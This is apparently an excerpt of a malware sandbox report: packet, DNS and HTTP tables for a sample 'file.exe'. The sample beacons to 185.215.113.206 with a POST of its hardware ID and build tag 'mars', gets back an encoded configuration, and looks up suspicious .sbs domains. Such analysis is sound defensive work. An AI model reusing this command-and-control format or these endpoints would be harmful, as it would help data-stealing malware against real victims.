Nov 26, 2024 16:31:50.553611994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553625107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553632021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553632021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553638935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553644896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553653002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553658009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553664923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553668976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.553673983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553679943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553725004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.553760052 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553776026 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553822041 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.553827047 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553881884 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.553904057 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.553951979 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.560878038 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.560900927 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.596771002 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.598902941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.599080086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.599091053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.599220991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.599364042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.599567890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.599632025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.599632025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.599960089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.600192070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.600272894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.600570917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.600636959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.600686073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.600805998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.601140976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.601210117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.601234913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.601747036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.601803064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.601871014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.602035999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.602572918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.602680922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.602689028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.602926970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.603172064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.603353024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.603404045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.604952097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.605114937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.605604887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.605674982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.606023073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.606029987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.606198072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.607357979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.607958078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.608045101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.608573914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.609282017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.609354973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.610363960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.610373020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.610440969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.611470938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.611479998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.611670971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.612122059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.612128973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.612185955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.613276958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.613436937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.613868952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.613930941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.614377022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.614451885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.614945889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.615343094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.616168976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.616178036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.616189957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.616256952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.616909027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.616986036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.618180037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.618187904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.618283033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.619522095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.619528055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.619586945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.620924950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.620985985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.621615887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.621623993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.621723890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.622463942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.622541904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.623327971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.623469114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.623930931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.624064922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.625444889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.625452995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.625576973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.626988888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.627007008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.627074003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.627074003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.628472090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.628544092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.629410028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.629419088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.629429102 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.629482985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.629544973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.630848885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.630950928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.631597042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.631689072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.632338047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.632396936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.646553993 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.646570921 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.646594048 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.646601915 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.646636963 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.646656990 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.646687031 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.646709919 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.731190920 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.732125044 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.732152939 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.732930899 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.732935905 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.755641937 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.755657911 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.755737066 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.755764961 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.758992910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.774132013 CET	443	49898	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.774358988 CET	443	49897	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.774468899 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.774490118 CET	443	49898	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.774612904 CET	49897	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.774625063 CET	443	49897	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.774748087 CET	443	49899	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.774930000 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.774935961 CET	443	49899	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.774945021 CET	443	49897	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.775260925 CET	49897	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.775329113 CET	443	49897	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.775454044 CET	49897	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.775571108 CET	443	49898	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.775630951 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.775971889 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.776026011 CET	443	49899	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.776041031 CET	443	49898	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.776087046 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.776379108 CET	49899	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.776443005 CET	443	49899	13.107.246.40	192.168.2.6
Nov 26, 2024 16:31:50.776500940 CET	49898	443	192.168.2.6	13.107.246.40
Nov 26, 2024 16:31:50.776511908 CET	443	49898	13.107.246.40	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 16:31:22.958197117 CET	192.168.2.6	1.1.1.1	0x887c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:22.958528996 CET	192.168.2.6	1.1.1.1	0xc243	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 16:31:34.930912971 CET	192.168.2.6	1.1.1.1	0xa106	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:34.931365967 CET	192.168.2.6	1.1.1.1	0xb227	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 26, 2024 16:31:38.061072111 CET	192.168.2.6	1.1.1.1	0x333c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:38.061249018 CET	192.168.2.6	1.1.1.1	0xa95f	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 26, 2024 16:31:38.274538994 CET	192.168.2.6	1.1.1.1	0x40db	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:38.274715900 CET	192.168.2.6	1.1.1.1	0x8084	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 26, 2024 16:31:39.796927929 CET	192.168.2.6	1.1.1.1	0x834b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:39.797086954 CET	192.168.2.6	1.1.1.1	0x61a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 16:31:39.797461987 CET	192.168.2.6	1.1.1.1	0x65d9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:39.797609091 CET	192.168.2.6	1.1.1.1	0x2fe9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 16:31:39.894752979 CET	192.168.2.6	1.1.1.1	0xcd3c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:39.895268917 CET	192.168.2.6	1.1.1.1	0x60e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 16:31:43.898510933 CET	192.168.2.6	1.1.1.1	0xe94e	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:43.898631096 CET	192.168.2.6	1.1.1.1	0x7c5	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 26, 2024 16:31:43.899976015 CET	192.168.2.6	1.1.1.1	0x263e	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:43.900376081 CET	192.168.2.6	1.1.1.1	0x24f7	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 26, 2024 16:33:15.492639065 CET	192.168.2.6	1.1.1.1	0xb6e6	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:33:15.657660961 CET	192.168.2.6	1.1.1.1	0x86a9	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:33:15.800013065 CET	192.168.2.6	1.1.1.1	0xe915	Standard query (0)	occupy-blushi.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 16:31:23.100020885 CET	1.1.1.1	192.168.2.6	0x887c	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:23.103291035 CET	1.1.1.1	192.168.2.6	0xc243	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 16:31:35.075618029 CET	1.1.1.1	192.168.2.6	0xa106	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:35.076596975 CET	1.1.1.1	192.168.2.6	0xb227	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:35.696429014 CET	1.1.1.1	192.168.2.6	0x403e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:35.696429014 CET	1.1.1.1	192.168.2.6	0x403e	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:35.759815931 CET	1.1.1.1	192.168.2.6	0xda77	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:38.383863926 CET	1.1.1.1	192.168.2.6	0xa95f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:38.466012955 CET	1.1.1.1	192.168.2.6	0x333c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:38.622819901 CET	1.1.1.1	192.168.2.6	0x40db	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:38.622819901 CET	1.1.1.1	192.168.2.6	0x40db	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:38.754951000 CET	1.1.1.1	192.168.2.6	0x8084	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:39.940603971 CET	1.1.1.1	192.168.2.6	0x834b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:39.940603971 CET	1.1.1.1	192.168.2.6	0x834b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:39.940654993 CET	1.1.1.1	192.168.2.6	0x61a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 16:31:39.940861940 CET	1.1.1.1	192.168.2.6	0x2fe9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 16:31:39.941032887 CET	1.1.1.1	192.168.2.6	0x65d9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:39.941032887 CET	1.1.1.1	192.168.2.6	0x65d9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:40.038434029 CET	1.1.1.1	192.168.2.6	0xcd3c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:40.038434029 CET	1.1.1.1	192.168.2.6	0xcd3c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:40.039005995 CET	1.1.1.1	192.168.2.6	0x60e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 16:31:43.745351076 CET	1.1.1.1	192.168.2.6	0xdadb	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:43.745351076 CET	1.1.1.1	192.168.2.6	0xdadb	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:44.109164953 CET	1.1.1.1	192.168.2.6	0x24f7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:44.109451056 CET	1.1.1.1	192.168.2.6	0xe94e	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:44.109451056 CET	1.1.1.1	192.168.2.6	0xe94e	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:44.109451056 CET	1.1.1.1	192.168.2.6	0xe94e	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:44.109451056 CET	1.1.1.1	192.168.2.6	0xe94e	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:44.109510899 CET	1.1.1.1	192.168.2.6	0x263e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:46.880321980 CET	1.1.1.1	192.168.2.6	0xcc5a	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 16:31:46.880321980 CET	1.1.1.1	192.168.2.6	0xcc5a	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:31:46.880321980 CET	1.1.1.1	192.168.2.6	0xcc5a	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:32:48.184405088 CET	1.1.1.1	192.168.2.6	0xd073	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:32:48.184405088 CET	1.1.1.1	192.168.2.6	0xd073	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:33:15.635875940 CET	1.1.1.1	192.168.2.6	0xb6e6	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:33:15.797331095 CET	1.1.1.1	192.168.2.6	0x86a9	Name error (3)	frogs-severz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:33:15.940727949 CET	1.1.1.1	192.168.2.6	0xe915	No error (0)	occupy-blushi.sbs		172.67.187.240	A (IP address)	IN (0x0001)	false
Nov 26, 2024 16:33:15.940727949 CET	1.1.1.1	192.168.2.6	0xe915	No error (0)	occupy-blushi.sbs		104.21.7.169	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	185.215.113.206	80	5720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 16:31:12.078737020 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 16:31:13.451380968 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 16:31:13.482317924 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 46 46 46 43 34 46 41 46 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="hwid"68FFFC4FAF144293944220------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="build"mars------FCFBGIDAEHCFIDGCBGII--
Nov 26, 2024 16:31:13.948146105 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 47 52 6a 4f 47 5a 6d 4e 6a 51 32 4d 44 51 77 4e 54 41 78 4d 47 56 6c 4f 57 4e 6b 59 6d 5a 6a 4d 6a 41 35 4d 7a 4e 6c 5a 6d 59 7a 4d 44 49 30 5a 57 4a 6b 5a 54 41 30 59 6a 49 30 4d 6d 4d 34 59 57 5a 6d 59 6d 4d 30 59 32 45 79 4d 7a 4d 35 59 54 59 79 5a 6a 4a 6c 4e 6d 49 77 4f 44 6b 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NGRjOGZmNjQ2MDQwNTAxMGVlOWNkYmZjMjA5MzNlZmYzMDI0ZWJkZTA0YjI0MmM4YWZmYmM0Y2EyMzM5YTYyZjJlNmIwODk4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
